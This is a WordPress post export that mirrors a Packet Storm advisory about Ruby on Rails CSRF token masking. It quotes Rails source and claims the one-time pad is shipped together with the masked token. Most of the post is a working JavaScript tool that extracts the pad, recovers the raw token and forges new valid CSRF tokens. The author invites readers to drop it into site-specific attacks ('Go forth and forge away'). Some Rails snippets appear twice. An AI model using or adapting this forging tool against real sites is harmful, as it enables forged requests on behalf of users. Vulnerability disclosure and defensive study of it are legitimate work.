{"id":1991,"date":"2025-04-28T11:33:41","date_gmt":"2025-04-28T11:33:41","guid":{"rendered":"http:\/\/localhost\/?p=1991"},"modified":"2025-04-28T11:33:41","modified_gmt":"2025-04-28T11:33:41","slug":"ruby-on-rails-cross-site-request-forgery","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=1991","title":{"rendered":"Ruby on Rails Cross Site Request Forgery"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Ruby on Rails Cross Site Request Forgery<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">PACKETSTORM:190681<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">packetstorm<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-28T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-28T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">0.0<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #666666; font-weight: bold;\">NONE<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">NONE<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nRuby on Rails appears to include a one time pad for cross site request&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\nGood morning.  All current versions and all versions since the 2022\/2023 &#8220;fix&#8221; to the Rails cross-site request forgery (CSRF) protections continue to be vulnerable to the same attacks as the 2022 implementation.  Currently, Rails generates &#8220;authenticity tokens&#8221; and &#8220;csrf tokens&#8221; using a random &#8220;one time pad&#8221; (OTP).  This random value is then XORed with the &#8220;raw token&#8221; (which can take one of two forms based on if per-form CSRF protections are in place).  Rails then, incorrectly, packages both the OTP and the XORed &#8220;raw token&#8221; together (through basic string concatenation) to form a &#8220;masked token&#8221;, which is what is then sent to the user.  Since the key (in this case the OTP) is included with the &#8220;ciphertext&#8221;, attackers can &#8220;decrypt&#8221; the &#8220;encrypted CSRF token&#8221;, generate their own random value (OTP), and then recreate the token or simply replay the token.  Forging of the &#8220;raw token&#8221; can also be performed.  Below is some of the offending code from Rails main branch&#8217;s request_forgery_protec<br \/>     tion.rb:<\/p>\n<p>          # Creates a masked version of the authenticity token that varies on each<br \/>          # request. The masking is used to mitigate SSL attacks like BREACH.<br \/>          def masked_authenticity_token(form_options: {})<br \/>            action, method = form_options.values_at(:action, :method)<\/p>\n<p>            raw_token = if per_form_csrf_tokens &#038;&#038; action &#038;&#038; method<br \/>              action_path = normalize_action_path(action)<br \/>              per_form_csrf_token(nil, action_path, method)<br \/>            else<br \/>              global_csrf_token<br \/>            end<\/p>\n<p>            mask_token(raw_token)<br \/>          end<\/p>\n<p>    &#8230;<\/p>\n<p>          def mask_token(raw_token) # :doc:<br \/>            one_time_pad = SecureRandom.random_bytes(AUTHENTICITY_TOKEN_LENGTH)<br \/>            encrypted_csrf_token = xor_byte_strings(one_time_pad, raw_token)<br \/>            masked_token = one_time_pad + encrypted_csrf_token<br \/>            encode_csrf_token(masked_token)<br \/>          end<\/p>\n<p>    &#8230;<\/p>\n<p>          def real_csrf_token(_session = nil) # :doc:<br \/>            csrf_token = request.env.fetch(CSRF_TOKEN) do<br \/>              request.env[CSRF_TOKEN] = csrf_token_storage_strategy.fetch(request) || generate_csrf_token<br \/>            end<\/p>\n<p>            decode_csrf_token(csrf_token)<br \/>          end<\/p>\n<p>          def per_form_csrf_token(session, action_path, method) # :doc:<br \/>            csrf_token_hmac(session, [action_path, method.downcase].join(&#8220;#&#8221;))<br \/>          end<\/p>\n<p>    &#8230;<\/p>\n<p>          def csrf_token_hmac(session, identifier) # :doc:<br \/>            OpenSSL::HMAC.digest(<br \/>              OpenSSL::Digest::SHA256.new,<br \/>              real_csrf_token(session),<br \/>              identifier<br \/>            )<br \/>          end<\/p>\n<p>    &#8230;<\/p>\n<p>          def real_csrf_token(_session = nil) # :doc:<br \/>            csrf_token = request.env.fetch(CSRF_TOKEN) do<br \/>              request.env[CSRF_TOKEN] = csrf_token_storage_strategy.fetch(request) || generate_csrf_token<br \/>            end<\/p>\n<p>            decode_csrf_token(csrf_token)<br \/>          end<\/p>\n<p>          def per_form_csrf_token(session, action_path, method) # :doc:<br \/>            csrf_token_hmac(session, [action_path, method.downcase].join(&#8220;#&#8221;))<br \/>          end<\/p>\n<p>    For a simple JavaScript-based tool that can take any given CSRF token and forge a new token that has the same valid &#8220;raw token&#8221;, see the below.  The code can easily be lifted and put into some website-specific CSRF attack (how you get your tokens is your business):<\/p>\n<p>    \/**<br \/>    * This method returns the &#8220;one time pad&#8221;, extracting it from the full, base64 encoded token.<br \/>    *<br \/>     * @param {string} full_token &#8211; The base64-encoded nonce intended to provide CSRF protections<br \/>    * @return {Uint8Array} The &#8220;one time pad&#8221; as a byte array<br \/>    *\/<br \/>    function getOpt(full_token) {<br \/>        var decoded_token = Uint8Array.from(atob(full_token), b => b.charCodeAt(0));<br \/>        return decoded_token.subarray(0, 32);<br \/>    }<\/p>\n<p>    \/**<br \/>    * This method returns the raw (XORed) token from the CSRF token.  The &#8220;raw token&#8221; is defined by Rails as the CSRF token, which can either be global (per-form CSRF protections are disabled) or per-form (in which case it&#8217;s a SHA256 hash of the session, action, and method).<br \/>    *<br \/>     * @param {string} full_token &#8211; The base64-encoded nonce intended to provide CSRF protections<br \/>    * @return {Uint8Array} The &#8220;raw token&#8221; as a byte array<br \/>    *\/<br \/>    function getRawToken(full_token) {<br \/>        var decoded_token = Uint8Array.from(atob(full_token), b => b.charCodeAt(0));<br \/>        var otp = decoded_token.subarray(0, 32);<br \/>        var masked_token = decoded_token.subarray(32);<br \/>        var raw_token = new Uint8Array(masked_token.length);<\/p>\n<p>        \/\/ XOR the OTP and &#8220;masked token&#8221;<br \/>        for(var i = 0; i < masked_token.length; i++) {<br \/>            raw_token[i] = (otp[i] ^ masked_token[i]) &#038; 0xFF;<br \/>        }<br \/>        return raw_token;<br \/>    }<\/p>\n<p>    \/**<br \/>    * This method returns a new cross-site request forgery token (CSRF) using the given &#8220;one time pad&#8221; and &#8220;raw token&#8221;.<br \/>    *<br \/>     * @param {Uint8Array} otp &#8211; The &#8220;one time pad&#8221; that we are going to make the masked token with<br \/>    * @param {Uint8Array} raw_token &#8211; The byte array that is the &#8220;raw token&#8221;<br \/>    * @return {String} The new CSRF token<br \/>    *\/<br \/>    function getCsrfToken(otp, raw_token) {<br \/>        var masked_token = new Uint8Array(raw_token.length);<\/p>\n<p>        \/\/ XOR the OTP and &#8220;raw token&#8221;<br \/>        for(var i = 0; i < raw_token.length; i++) {<br \/>            masked_token[i] = (otp[i] ^ raw_token[i]) &#038; 0xFF;<br \/>        }<\/p>\n<p>        \/\/ Merge the OTP and masked token into a single array<br \/>        var csrf_token = new Uint8Array(otp.length + masked_token.length);<br \/>        csrf_token.set(otp);<br \/>        csrf_token.set(masked_token, otp.length);<\/p>\n<p>        \/\/ Base64 and remove the padding (because they remove it in Rails)<br \/>        return btoa(Array.from(csrf_token, b => String.fromCharCode(b)).join(&#8221;)).replace(\/=+$\/, &#8221;);<br \/>    }<\/p>\n<p>    \/**<br \/>    * This method is a &#8220;helper method&#8221; that is just here for looks&#8230;&#8230;.<br \/>    *<br \/>     * @param {Uint8Array} bytes &#8211; The byte array to turn into a hex string<br \/>    * @return {String} A pretty hexidecimal string representation of the given array<br \/>    *\/<br \/>    function byteArrayToHexString(bytes) {<br \/>        var hex_string = &#8220;&#8221;;<br \/>        for(var i = 0; i < bytes.length; i++) {<br \/>            hex_string += (&#8216;0&#8217; + (bytes[i] &#038; 0xFF).toString(16)).slice(-2);<br \/>        }<br \/>        return hex_string;<br \/>    }<\/p>\n<p>    \/\/ Replace this with the stolen token or have your CSRF POC grab the token from the page and use that<br \/>    var token = &#8220;INSERT YOUR TOKEN HERE&#8221;;<\/p>\n<p>    \/\/ Change the OTP to something else<br \/>    var otp = getOpt(token);<br \/>    otp[0] = 0xFF;<br \/>    otp[1] = 0x00;<\/p>\n<p>    \/\/ Prove that we produce the same raw token, which is all that matters<br \/>    if(byteArrayToHexString(getRawToken(token)) == byteArrayToHexString(getRawToken(getCsrfToken(otp, getRawToken(token))))){<br \/>        console.log(&#8220;The new token that works is: &#8221; + getCsrfToken(otp, getRawToken(token)));<br \/>        console.log(&#8220;Go forth and forge away&#8230;&#8221;);<br \/>    }<br \/>    else {<br \/>        console.log(&#8220;We failed as testers\/programmers&#8230;&#8221;);<br \/>    }\n<\/div>\n<p><a href=\"https:\/\/packetstorm.news\/files\/id\/190681\/\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Ruby on Rails Cross Site Request Forgery Exploit ID PACKETSTORM:190681 Type packetstorm Published 2025-04-28T00:00:00 Modified 2025-04-28T00:00:00 CVSS Information CVSS&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,34,12,13,33,53,7,11,5],"class_list":["post-1991","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-00","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - 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